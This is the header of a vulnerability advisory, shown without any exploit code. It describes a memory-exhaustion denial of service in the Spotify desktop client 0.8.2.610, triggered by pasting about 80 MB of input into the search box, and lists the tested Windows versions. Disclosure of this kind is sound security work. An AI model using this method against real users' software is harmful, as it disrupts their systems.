# Spotify 0.8.2.610 (search func) Memory Exhaustion Exploit
#
#
# Vendor: Spotify Ltd
# Product web page: http://www.spotify.com
# Affected version: 0.8.2.610.g090a06f8
#
# Summary: Think of Spotify as your new music collection. Your
# library. Only this time your collection is vast: millions of
# tracks and counting. Spotify comes in all shapes and sizes,
# available for your PC, Mac, home audio system and mobile phone.
# Wherever you go, your music follows you.
#
# Desc: The vulnerability is caused due to the Search box function
# not checking the boundary of user input. This can be exploited to
# cause a DoS due to memory exhaustion when inserting a long string
# of bytes (~80mil B / 80 MB) into the Search field in the GUI.
#
# Tested on: Microsoft Windows XP Professional SP3 (EN) (32bit)
#            Microsoft Windows 7 Ultimate SP1 (EN) (64bit)
